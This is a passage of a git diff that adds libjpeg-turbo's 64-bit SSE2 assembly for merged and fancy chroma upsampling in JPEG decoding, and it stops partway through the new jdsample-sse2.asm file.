A5 C6 A7 C8 A9 Ca Ab Cc Ad Ce Af -- --) + + movdqa xmmC, xmmD + movdqa xmmB, xmmD + punpcklwd xmmD, xmmH + ; xmmD = (B1 C1 A2 B2 B3 C3 A4 B4 B5 C5 A6 B6 B7 C7 A8 B8) + punpckhwd xmmC, xmmH + ; xmmC = (B9 C9 Aa Ba Bb Cb Ac Bc Bd Cd Ae Be Bf Cf -- --) + + psrldq xmmB, 2 + ; xmmB = (B3 C3 B5 C5 B7 C7 B9 C9 Bb Cb Bd Cd Bf Cf -- --) + + movdqa xmmF, xmmE + punpcklwd xmmE, xmmB + ; xmmE = (C2 A3 B3 C3 C4 A5 B5 C5 C6 A7 B7 C7 C8 A9 B9 C9) + punpckhwd xmmF, xmmB + ; xmmF = (Ca Ab Bb Cb Cc Ad Bd Cd Ce Af Bf Cf -- -- -- --) + + pshufd xmmH, xmmA, 0x4E + ; xmmH = (A4 B4 C4 A5 A6 B6 C6 A7 A0 B0 C0 A1 A2 B2 C2 A3) + movdqa xmmB, xmmE + punpckldq xmmA, xmmD + ; xmmA = (A0 B0 C0 A1 B1 C1 A2 B2 A2 B2 C2 A3 B3 C3 A4 B4) + punpckldq xmmE, xmmH + ; xmmE = (C2 A3 B3 C3 A4 B4 C4 A5 C4 A5 B5 C5 A6 B6 C6 A7) + punpckhdq xmmD, xmmB + ; xmmD = (B5 C5 A6 B6 C6 A7 B7 C7 B7 C7 A8 B8 C8 A9 B9 C9) + + pshufd xmmH, xmmG, 0x4E + ; xmmH = (Ac Bc Cc Ad Ae Be Ce Af A8 B8 C8 A9 Aa Ba Ca Ab) + movdqa xmmB, xmmF + punpckldq xmmG, xmmC + ; xmmG = (A8 B8 C8 A9 B9 C9 Aa Ba Aa Ba Ca Ab Bb Cb Ac Bc) + punpckldq xmmF, xmmH + ; xmmF = (Ca Ab Bb Cb Ac Bc Cc Ad Cc Ad Bd Cd Ae Be Ce Af) + punpckhdq xmmC, xmmB + ; xmmC = (Bd Cd Ae Be Ce Af Bf Cf Bf Cf -- -- -- -- -- --) + + punpcklqdq xmmA, xmmE + ; xmmA = (A0 B0 C0 A1 B1 C1 A2 B2 C2 A3 B3 C3 A4 B4 C4 A5) + punpcklqdq xmmD, xmmG + ; xmmD = (B5 C5 A6 B6 C6 A7 B7 C7 A8 B8 C8 A9 B9 C9 Aa Ba) + punpcklqdq xmmF, xmmC + ; xmmF = (Ca Ab Bb Cb Ac Bc Cc Ad Bd Cd Ae Be Ce Af Bf Cf) + + cmp rcx, byte SIZEOF_XMMWORD + jb short .column_st32 + + test rdi, SIZEOF_XMMWORD - 1 + jnz short .out1 + ; --(aligned)------------------- + movntdq XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + movntdq XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmmD + movntdq XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmmF + jmp short .out0 +.out1: ; --(unaligned)----------------- + movdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + movdqu XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmmD + movdqu XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmmF +.out0: + add rdi, byte RGB_PIXELSIZE * SIZEOF_XMMWORD ; outptr + sub rcx, byte SIZEOF_XMMWORD + jz near .endcolumn + + add rsi, byte SIZEOF_XMMWORD ; inptr0 + dec al ; Yctr + jnz near .Yloop_2nd + + add rbx, byte SIZEOF_XMMWORD ; inptr1 + add rdx, byte SIZEOF_XMMWORD ; inptr2 + jmp near .columnloop + +.column_st32: + lea rcx, [rcx + rcx * 2] ; imul ecx, RGB_PIXELSIZE + cmp rcx, byte 2 * SIZEOF_XMMWORD + jb short .column_st16 + movdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + movdqu XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmmD + add rdi, byte 2 * SIZEOF_XMMWORD ; outptr + movdqa xmmA, xmmF + sub rcx, byte 2 * SIZEOF_XMMWORD + jmp short .column_st15 +.column_st16: + cmp rcx, byte SIZEOF_XMMWORD + jb short .column_st15 + movdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + add rdi, byte SIZEOF_XMMWORD ; outptr + movdqa xmmA, xmmD + sub rcx, byte SIZEOF_XMMWORD +.column_st15: + ; Store the lower 8 bytes of xmmA to the output when it has enough + ; space. + cmp rcx, byte SIZEOF_MMWORD + jb short .column_st7 + movq XMM_MMWORD [rdi], xmmA + add rdi, byte SIZEOF_MMWORD + sub rcx, byte SIZEOF_MMWORD + psrldq xmmA, SIZEOF_MMWORD +.column_st7: + ; Store the lower 4 bytes of xmmA to the output when it has enough + ; space. + cmp rcx, byte SIZEOF_DWORD + jb short .column_st3 + movd XMM_DWORD [rdi], xmmA + add rdi, byte SIZEOF_DWORD + sub rcx, byte SIZEOF_DWORD + psrldq xmmA, SIZEOF_DWORD +.column_st3: + ; Store the lower 2 bytes of rax to the output when it has enough + ; space. + movd eax, xmmA + cmp rcx, byte SIZEOF_WORD + jb short .column_st1 + mov word [rdi], ax + add rdi, byte SIZEOF_WORD + sub rcx, byte SIZEOF_WORD + shr rax, 16 +.column_st1: + ; Store the lower 1 byte of rax to the output when it has enough + ; space. + test rcx, rcx + jz short .endcolumn + mov byte [rdi], al + +%else ; RGB_PIXELSIZE == 4 ; ----------- + +%ifdef RGBX_FILLER_0XFF + pcmpeqb xmm6, xmm6 ; xmm6 = XE = X(02468ace********) + pcmpeqb xmm7, xmm7 ; xmm7 = XO = X(13579bdf********) +%else + pxor xmm6, xmm6 ; xmm6 = XE = X(02468ace********) + pxor xmm7, xmm7 ; xmm7 = XO = X(13579bdf********) +%endif + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, C, and D to red, green, and blue. + ; + ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae) = AE + ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af) = AO + ; xmmC = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce) = CE + ; xmmF = (C1 C3 C5 C7 C9 Cb Cd Cf) = CO + ; xmmG = (D0 D2 D4 D6 D8 Da Dc De) = DE + ; xmmH = (D1 D3 D5 D7 D9 Db Dd Df) = DO + + punpcklbw xmmA, xmmC + ; xmmA = (A0 B0 A2 B2 A4 B4 A6 B6 A8 B8 Aa Ba Ac Bc Ae Be) + punpcklbw xmmE, xmmG + ; xmmE = (C0 D0 C2 D2 C4 D4 C6 D6 C8 D8 Ca Da Cc Dc Ce De) + punpcklbw xmmB, xmmD + ; xmmB = (A1 B1 A3 B3 A5 B5 A7 B7 A9 B9 Ab Bb Ad Bd Af Bf) + punpcklbw xmmF, xmmH + ; xmmF = (C1 D1 C3 D3 C5 D5 C7 D7 C9 D9 Cb Db Cd Dd Cf Df) + + movdqa xmmC, xmmA + punpcklwd xmmA, xmmE + ; xmmA = (A0 B0 C0 D0 A2 B2 C2 D2 A4 B4 C4 D4 A6 B6 C6 D6) + punpckhwd xmmC, xmmE + ; xmmC = (A8 B8 C8 D8 Aa Ba Ca Da Ac Bc Cc Dc Ae Be Ce De) + movdqa xmmG, xmmB + punpcklwd xmmB, xmmF + ; xmmB = (A1 B1 C1 D1 A3 B3 C3 D3 A5 B5 C5 D5 A7 B7 C7 D7) + punpckhwd xmmG, xmmF + ; xmmG = (A9 B9 C9 D9 Ab Bb Cb Db Ad Bd Cd Dd Af Bf Cf Df) + + movdqa xmmD, xmmA + punpckldq xmmA, xmmB + ; xmmA = (A0 B0 C0 D0 A1 B1 C1 D1 A2 B2 C2 D2 A3 B3 C3 D3) + punpckhdq xmmD, xmmB + ; xmmD = (A4 B4 C4 D4 A5 B5 C5 D5 A6 B6 C6 D6 A7 B7 C7 D7) + movdqa xmmH, xmmC + punpckldq xmmC, xmmG + ; xmmC = (A8 B8 C8 D8 A9 B9 C9 D9 Aa Ba Ca Da Ab Bb Cb Db) + punpckhdq xmmH, xmmG + ; xmmH = (Ac Bc Cc Dc Ad Bd Cd Dd Ae Be Ce De Af Bf Cf Df) + + cmp rcx, byte SIZEOF_XMMWORD + jb short .column_st32 + + test rdi, SIZEOF_XMMWORD - 1 + jnz short .out1 + ; --(aligned)------------------- + movntdq XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + movntdq XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmmD + movntdq XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmmC + movntdq XMMWORD [rdi + 3 * SIZEOF_XMMWORD], xmmH + jmp short .out0 +.out1: ; --(unaligned)----------------- + movdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + movdqu XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmmD + movdqu XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmmC + movdqu XMMWORD [rdi + 3 * SIZEOF_XMMWORD], xmmH +.out0: + add rdi, byte RGB_PIXELSIZE * SIZEOF_XMMWORD ; outptr + sub rcx, byte SIZEOF_XMMWORD + jz near .endcolumn + + add rsi, byte SIZEOF_XMMWORD ; inptr0 + dec al ; Yctr + jnz near .Yloop_2nd + + add rbx, byte SIZEOF_XMMWORD ; inptr1 + add rdx, byte SIZEOF_XMMWORD ; inptr2 + jmp near .columnloop + +.column_st32: + cmp rcx, byte SIZEOF_XMMWORD / 2 + jb short .column_st16 + movdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + movdqu XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmmD + add rdi, byte 2 * SIZEOF_XMMWORD ; outptr + movdqa xmmA, xmmC + movdqa xmmD, xmmH + sub rcx, byte SIZEOF_XMMWORD / 2 +.column_st16: + cmp rcx, byte SIZEOF_XMMWORD / 4 + jb short .column_st15 + movdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + add rdi, byte SIZEOF_XMMWORD ; outptr + movdqa xmmA, xmmD + sub rcx, byte SIZEOF_XMMWORD / 4 +.column_st15: + ; Store two pixels (8 bytes) of xmmA to the output when it has enough + ; space. + cmp rcx, byte SIZEOF_XMMWORD / 8 + jb short .column_st7 + movq XMM_MMWORD [rdi], xmmA + add rdi, byte SIZEOF_XMMWORD / 8 * 4 + sub rcx, byte SIZEOF_XMMWORD / 8 + psrldq xmmA, SIZEOF_XMMWORD / 8 * 4 +.column_st7: + ; Store one pixel (4 bytes) of xmmA to the output when it has enough + ; space. + test rcx, rcx + jz short .endcolumn + movd XMM_DWORD [rdi], xmmA + +%endif ; RGB_PIXELSIZE ; --------------- + +.endcolumn: + sfence ; flush the write buffer + +.return: + pop rbx + UNCOLLECT_ARGS 4 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Upsample and color convert for the case of 2:1 horizontal and 2:1 vertical. +; +; GLOBAL(void) +; jsimd_h2v2_merged_upsample_sse2(JDIMENSION output_width, +; JSAMPIMAGE input_buf, +; JDIMENSION in_row_group_ctr, +; JSAMPARRAY output_buf) +; +; r10d = JDIMENSION output_width +; r11 = JSAMPIMAGE input_buf +; r12d = JDIMENSION in_row_group_ctr +; r13 = JSAMPARRAY output_buf + + align 32 + GLOBAL_FUNCTION(jsimd_h2v2_merged_upsample_sse2) + +EXTN(jsimd_h2v2_merged_upsample_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 4 + push rbx + + mov eax, r10d + + mov rdi, r11 + mov ecx, r12d + mov rsip, JSAMPARRAY [rdi + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rdi + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rdi + 2 * SIZEOF_JSAMPARRAY] + mov rdi, r13 + lea rsi, [rsi + rcx * SIZEOF_JSAMPROW] + + sub rsp, SIZEOF_JSAMPARRAY * 4 + mov JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY], rsip ; intpr00 + mov JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY], rbxp ; intpr1 + mov JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY], rdxp ; intpr2 + mov rbx, rsp + + push rdi + push rcx + push rax + + %ifdef WIN64 + mov r8, rcx + mov r9, rdi + mov rcx, rax + mov rdx, rbx + %else + mov rdx, rcx + mov rcx, rdi + mov rdi, rax + mov rsi, rbx + %endif + + call EXTN(jsimd_h2v1_merged_upsample_sse2) + + pop rax + pop rcx + pop rdi + mov rsip, JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY] + + add rdi, byte SIZEOF_JSAMPROW ; outptr1 + add rsi, byte SIZEOF_JSAMPROW ; inptr01 + + mov JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY], rsip ; intpr00 + mov JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY], rbxp ; intpr1 + mov JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY], rdxp ; intpr2 + mov rbx, rsp + + push rdi + push rcx + push rax + + %ifdef WIN64 + mov r8, rcx + mov r9, rdi + mov rcx, rax + mov rdx, rbx + %else + mov rdx, rcx + mov rcx, rdi + mov rdi, rax + mov rsi, rbx + %endif + + call EXTN(jsimd_h2v1_merged_upsample_sse2) + + pop rax + pop rcx + pop rdi + mov rsip, JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY] + add rsp, SIZEOF_JSAMPARRAY * 4 + + pop rbx + UNCOLLECT_ARGS 4 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jdsample-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jdsample-sse2.asm new file mode 100755 index 0000000..a27c40c --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jdsample-sse2.asm @@ -0,0 +1,663 @@ +; +; Upsampling (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024-2026, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_fancy_upsample_sse2) + +EXTN(jconst_fancy_upsample_sse2): + +PW_ONE times 8 dw 1 +PW_TWO times 8 dw 2 +PW_THREE times 8 dw 3 +PW_SEVEN times 8 dw 7 +PW_EIGHT times 8 dw 8 + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Fancy processing for the common case of 2:1 horizontal and 1:1 vertical. +; +; The upsampling algorithm is linear interpolation between component centers, +; also known as a "triangle filter". This is a good compromise between speed +; and visual quality. The centers of the output components are 1/4 and 3/4 of +; the way between input component centers. +; +; GLOBAL(void) +; jsimd_h2v1_fancy_upsample_sse2(int max_v_samp_factor, +; JDIMENSION downsampled_width, +; JSAMPARRAY input_data, +; JSAMPARRAY *output_data_ptr) +; +; r10 = int max_v_samp_factor +; r11d = JDIMENSION downsampled_width +; r12 = JSAMPARRAY input_data +; r13 = JSAMPARRAY *output_data_ptr + + align 32 + GLOBAL_FUNCTION(jsimd_h2v1_fancy_upsample_sse2) + +EXTN(jsimd_h2v1_fancy_upsample_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 4 + + mov eax, r11d ; colctr + test rax, rax + jz near .return + + mov rcx, r10 ; rowctr + test rcx, rcx + jz near .return + + mov rsi, r12 ; input_data + mov rdi, r13 + mov rdip, JSAMPARRAY [rdi] ; output_data +.rowloop: + push rax ; colctr + push rdi + push rsi + + mov rsip, JSAMPROW [rsi] ; inptr + mov rdip, JSAMPROW [rdi] ; outptr + + test rax, SIZEOF_XMMWORD - 1 + jz short .skip + mov dl, JSAMPLE [rsi + (rax - 1) * SIZEOF_JSAMPLE] + mov JSAMPLE [rsi + rax * SIZEOF_JSAMPLE], dl + ; insert a dummy sample +.skip: + pxor xmm0, xmm0 ; xmm0 = (all 0's) + pcmpeqb xmm7, xmm7 + psrldq xmm7, (SIZEOF_XMMWORD - 1) + pand xmm7, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + + add rax, byte SIZEOF_XMMWORD - 1 + and rax, byte -SIZEOF_XMMWORD + cmp rax, byte SIZEOF_XMMWORD + ja short .columnloop + +.columnloop_last: + pcmpeqb xmm6, xmm6 + pslldq xmm6, (SIZEOF_XMMWORD - 1) + pand xmm6, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + jmp short .upsample + +.columnloop: + movdqa xmm6, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + pslldq xmm6, (SIZEOF_XMMWORD - 1) + +.upsample: + movdqa xmm1, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqa xmm2, xmm1 + movdqa xmm3, xmm1 ; xmm1 = ( 0 1 2 ... 13 14 15) + pslldq xmm2, 1 ; xmm2 = (-- 0 1 ... 12 13 14) + psrldq xmm3, 1 ; xmm3 = ( 1 2 3 ... 14 15 --) + + por xmm2, xmm7 ; xmm2 = (-1 0 1 ... 12 13 14) + por xmm3, xmm6 ; xmm3 = ( 1 2 3 ... 14 15 16) + + movdqa xmm7, xmm1 + psrldq xmm7, (SIZEOF_XMMWORD - 1) ; xmm7 = (15 -- -- ... -- -- --) + + movdqa xmm4, xmm1 + punpcklbw xmm1, xmm0 ; xmm1 = ( 0 1 2 3 4 5 6 7) + punpckhbw xmm4, xmm0 ; xmm4 = ( 8 9 10 11 12 13 14 15) + movdqa xmm5, xmm2 + punpcklbw xmm2, xmm0 ; xmm2 = (-1 0 1 2 3 4 5 6) + punpckhbw xmm5, xmm0 ; xmm5 = ( 7 8 9 10 11 12 13 14) + movdqa xmm6, xmm3 + punpcklbw xmm3, xmm0 ; xmm3 = ( 1 2 3 4 5 6 7 8) + punpckhbw xmm6, xmm0 ; xmm6 = ( 9 10 11 12 13 14 15 16) + + pmullw xmm1, [rel PW_THREE] + pmullw xmm4, [rel PW_THREE] + paddw xmm2, [rel PW_ONE] + paddw xmm5, [rel PW_ONE] + paddw xmm3, [rel PW_TWO] + paddw xmm6, [rel PW_TWO] + + paddw xmm2, xmm1 + paddw xmm5, xmm4 + psrlw xmm2, 2 ; xmm2 = OutLE = ( 0 2 4 6 8 10 12 14) + psrlw xmm5, 2 ; xmm5 = OutHE = (16 18 20 22 24 26 28 30) + paddw xmm3, xmm1 + paddw xmm6, xmm4 + psrlw xmm3, 2 ; xmm3 = OutLO = ( 1 3 5 7 9 11 13 15) + psrlw xmm6, 2 ; xmm6 = OutHO = (17 19 21 23 25 27 29 31) + + psllw xmm3, BYTE_BIT + psllw xmm6, BYTE_BIT + por xmm2, xmm3 ; xmm2 = OutL = ( 0 1 2 ... 13 14 15) + por xmm5, xmm6 ; xmm5 = OutH = (16 17 18 ... 29 30 31) + + movdqa XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmm2 + movdqa XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmm5 + + sub rax, byte SIZEOF_XMMWORD + add rsi, byte 1 * SIZEOF_XMMWORD ; inptr + add rdi, byte 2 * SIZEOF_XMMWORD ; outptr + cmp rax, byte SIZEOF_XMMWORD + ja near .columnloop + test eax, eax + jnz near .columnloop_last + + pop rsi + pop rdi + pop rax + + add rsi, byte SIZEOF_JSAMPROW ; input_data + add rdi, byte SIZEOF_JSAMPROW ; output_data + dec rcx ; rowctr + jg near .rowloop + +.return: + UNCOLLECT_ARGS 4 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Fancy processing for the common case of 2:1 horizontal and 2:1 vertical. +; Again a triangle filter; see comments for h2v1 case, above. +; +; GLOBAL(void) +; jsimd_h2v2_fancy_upsample_sse2(int max_v_samp_factor, +; JDIMENSION downsampled_width, +; JSAMPARRAY input_data, +; JSAMPARRAY *output_data_ptr) +; +; r10 = int max_v_samp_factor +; r11d = JDIMENSION downsampled_width +; r12 = JSAMPARRAY input_data +; r13 = JSAMPARRAY *output_data_ptr + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 4 + + align 32 + GLOBAL_FUNCTION(jsimd_h2v2_fancy_upsample_sse2) + +EXTN(jsimd_h2v2_fancy_upsample_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 4 + push rbx + + mov eax, r11d ; colctr + test rax, rax + jz near .return + + mov rcx, r10 ; rowctr + test rcx, rcx + jz near .return + + mov rsi, r12 ; input_data + mov rdi, r13 + mov rdip, JSAMPARRAY [rdi] ; output_data +.rowloop: + push rax ; colctr + push rcx + push rdi + push rsi + + mov rcxp, JSAMPROW [rsi - 1 * SIZEOF_JSAMPROW] ; inptr1(above) + mov rbxp, JSAMPROW [rsi + 0 * SIZEOF_JSAMPROW] ; inptr0 + mov rsip, JSAMPROW [rsi + 1 * SIZEOF_JSAMPROW] ; inptr1(below) + mov rdxp, JSAMPROW [rdi + 0 * SIZEOF_JSAMPROW] ; outptr0 + mov rdip, JSAMPROW [rdi + 1 * SIZEOF_JSAMPROW] ; outptr1 + + test rax, SIZEOF_XMMWORD - 1 + jz short .skip + push rdx + mov dl, JSAMPLE [rcx + (rax - 1) * SIZEOF_JSAMPLE] + mov JSAMPLE [rcx + rax * SIZEOF_JSAMPLE], dl + mov dl, JSAMPLE [rbx + (rax - 1) * SIZEOF_JSAMPLE] + mov JSAMPLE [rbx + rax * SIZEOF_JSAMPLE], dl + mov dl, JSAMPLE [rsi + (rax - 1) * SIZEOF_JSAMPLE] + mov JSAMPLE [rsi + rax * SIZEOF_JSAMPLE], dl + ; insert a dummy sample + pop rdx +.skip: + ; -- process the first column block + + movdqa xmm0, XMMWORD [rbx + 0 * SIZEOF_XMMWORD] ; xmm0 = row[ 0][0] + movdqa xmm1, XMMWORD [rcx + 0 * SIZEOF_XMMWORD] ; xmm1 = row[-1][0] + movdqa xmm2, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] ; xmm2 = row[+1][0] + + pxor xmm3, xmm3 ; xmm3 = (all 0's) + movdqa xmm4, xmm0 + punpcklbw xmm0, xmm3 ; xmm0 = row[ 0]( 0 1 2 3 4 5 6 7) + punpckhbw xmm4, xmm3 ; xmm4 = row[ 0]( 8 9 10 11 12 13 14 15) + movdqa xmm5, xmm1 + punpcklbw xmm1, xmm3 ; xmm1 = row[-1]( 0 1 2 3 4 5 6 7) + punpckhbw xmm5, xmm3 ; xmm5 = row[-1]( 8 9 10 11 12 13 14 15) + movdqa xmm6, xmm2 + punpcklbw xmm2, xmm3 ; xmm2 = row[+1]( 0 1 2 3 4 5 6 7) + punpckhbw xmm6, xmm3 ; xmm6 = row[+1]( 8 9 10 11 12 13 14 15) + + pmullw xmm0, [rel PW_THREE] + pmullw xmm4, [rel PW_THREE] + + pcmpeqb xmm7, xmm7 + psrldq xmm7, (SIZEOF_XMMWORD - 2) + + paddw xmm1, xmm0 ; xmm1 = Int0L = ( 0 1 2 3 4 5 6 7) + paddw xmm5, xmm4 ; xmm5 = Int0H = ( 8 9 10 11 12 13 14 15) + paddw xmm2, xmm0 ; xmm2 = Int1L = ( 0 1 2 3 4 5 6 7) + paddw xmm6, xmm4 ; xmm6 = Int1H = ( 8 9 10 11 12 13 14 15) + + ; temporarily save the intermediate data + movdqa XMMWORD [rdx + 0 * SIZEOF_XMMWORD], xmm1 + movdqa XMMWORD [rdx + 1 * SIZEOF_XMMWORD], xmm5 + movdqa XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmm2 + movdqa XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmm6 + + pand xmm1, xmm7 ; xmm1 = ( 0 -- -- -- -- -- -- --) + pand xmm2, xmm7 ; xmm2 = ( 0 -- -- -- -- -- -- --) + + movdqa XMMWORD [wk(0)], xmm1 + movdqa XMMWORD [wk(1)], xmm2 + + add rax, byte SIZEOF_XMMWORD - 1 + and rax, byte -SIZEOF_XMMWORD + cmp rax, byte SIZEOF_XMMWORD + ja short .columnloop + +.columnloop_last: + ; -- process the last column block + + pcmpeqb xmm1, xmm1 + pslldq xmm1, (SIZEOF_XMMWORD - 2) + movdqa xmm2, xmm1 + + pand xmm1, XMMWORD [rdx + 1 * SIZEOF_XMMWORD] + pand xmm2, XMMWORD [rdi + 1 * SIZEOF_XMMWORD] + + movdqa XMMWORD [wk(2)], xmm1 ; xmm1 = (-- -- -- -- -- -- -- 15) + movdqa XMMWORD [wk(3)], xmm2 ; xmm2 = (-- -- -- -- -- -- -- 15) + + jmp near .upsample + +.columnloop: + ; -- process the next column block + + movdqa xmm0, XMMWORD [rbx + 1 * SIZEOF_XMMWORD] ; xmm0 = row[ 0][1] + movdqa xmm1, XMMWORD [rcx + 1 * SIZEOF_XMMWORD] ; xmm1 = row[-1][1] + movdqa xmm2, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] ; xmm2 = row[+1][1] + + pxor xmm3, xmm3 ; xmm3 = (all 0's) + movdqa xmm4, xmm0 + punpcklbw xmm0, xmm3 ; xmm0 = row[ 0]( 0 1 2 3 4 5 6 7) + punpckhbw xmm4, xmm3 ; xmm4 = row[ 0]( 8 9 10 11 12 13 14 15) + movdqa xmm5, xmm1 + punpcklbw xmm1, xmm3 ; xmm1 = row[-1]( 0 1 2 3 4 5 6 7) + punpckhbw xmm5, xmm3 ; xmm5 = row[-1]( 8 9 10 11 12 13 14 15) + movdqa xmm6, xmm2 + punpcklbw xmm2, xmm3 ; xmm2 = row[+1]( 0 1 2 3 4 5 6 7) + punpckhbw xmm6, xmm3 ; xmm6 = row[+1]( 8 9 10 11 12 13 14 15) + + pmullw xmm0, [rel PW_THREE] + pmullw xmm4, [rel PW_THREE] + + paddw xmm1, xmm0 ; xmm1 = Int0L = ( 0 1 2 3 4 5 6 7) + paddw xmm5, xmm4 ; xmm5 = Int0H = ( 8 9 10 11 12 13 14 15) + paddw xmm2, xmm0 ; xmm2 = Int1L = ( 0 1 2 3 4 5 6 7) + paddw xmm6, xmm4 ; xmm6 = Int1H = ( 8 9 10 11 12 13 14 15) + + ; temporarily save the intermediate data + movdqa XMMWORD [rdx + 2 * SIZEOF_XMMWORD], xmm1 + movdqa XMMWORD [rdx + 3 * SIZEOF_XMMWORD], xmm5 + movdqa XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmm2 + movdqa XMMWORD [rdi + 3 * SIZEOF_XMMWORD], xmm6 + + pslldq xmm1, (SIZEOF_XMMWORD - 2) ; xmm1 = (-- -- -- -- -- -- -- 0) + pslldq xmm2, (SIZEOF_XMMWORD - 2) ; xmm2 = (-- -- -- -- -- -- -- 0) + + movdqa XMMWORD [wk(2)], xmm1 + movdqa XMMWORD [wk(3)], xmm2 + +.upsample: + ; -- process the upper row + + movdqa xmm7, XMMWORD [rdx + 0 * SIZEOF_XMMWORD] + movdqa xmm3, XMMWORD [rdx + 1 * SIZEOF_XMMWORD] + + movdqa xmm0, xmm7 ; xmm7 = Int0L = ( 0 1 2 3 4 5 6 7) + movdqa xmm4, xmm3 ; xmm3 = Int0H = ( 8 9 10 11 12 13 14 15) + psrldq xmm0, 2 ; xmm0 = ( 1 2 3 4 5 6 7 --) + pslldq xmm4, (SIZEOF_XMMWORD - 2) ; xmm4 = (-- -- -- -- -- -- -- 8) + movdqa xmm5, xmm7 + movdqa xmm6, xmm3 + psrldq xmm5, (SIZEOF_XMMWORD - 2) ; xmm5 = ( 7 -- -- -- -- -- -- --) + pslldq xmm6, 2 ; xmm6 = (-- 8 9 10 11 12 13 14) + + por xmm0, xmm4 ; xmm0 = ( 1 2 3 4 5 6 7 8) + por xmm5, xmm6 ; xmm5 = ( 7 8 9 10 11 12 13 14) + + movdqa xmm1, xmm7 + movdqa xmm2, xmm3 + pslldq xmm1, 2 ; xmm1 = (-- 0 1 2 3 4 5 6) + psrldq xmm2, 2 ; xmm2 = ( 9 10 11 12 13 14 15 --) + movdqa xmm4, xmm3 + psrldq xmm4, (SIZEOF_XMMWORD - 2) ; xmm4 = (15 -- -- -- -- -- -- --) + + por xmm1, XMMWORD [wk(0)] ; xmm1 = (-1 0 1 2 3 4 5 6) + por xmm2, XMMWORD [wk(2)] ; xmm2 = ( 9 10 11 12 13 14 15 16) + + movdqa XMMWORD [wk(0)], xmm4 + + pmullw xmm7, [rel PW_THREE] + pmullw xmm3, [rel PW_THREE] + paddw xmm1, [rel PW_EIGHT] + paddw xmm5, [rel PW_EIGHT] + paddw xmm0, [rel PW_SEVEN] + paddw xmm2, [rel PW_SEVEN] + + paddw xmm1, xmm7 + paddw xmm5, xmm3 + psrlw xmm1, 4 ; xmm1 = Out0LE = ( 0 2 4 6 8 10 12 14) + psrlw xmm5, 4 ; xmm5 = Out0HE = 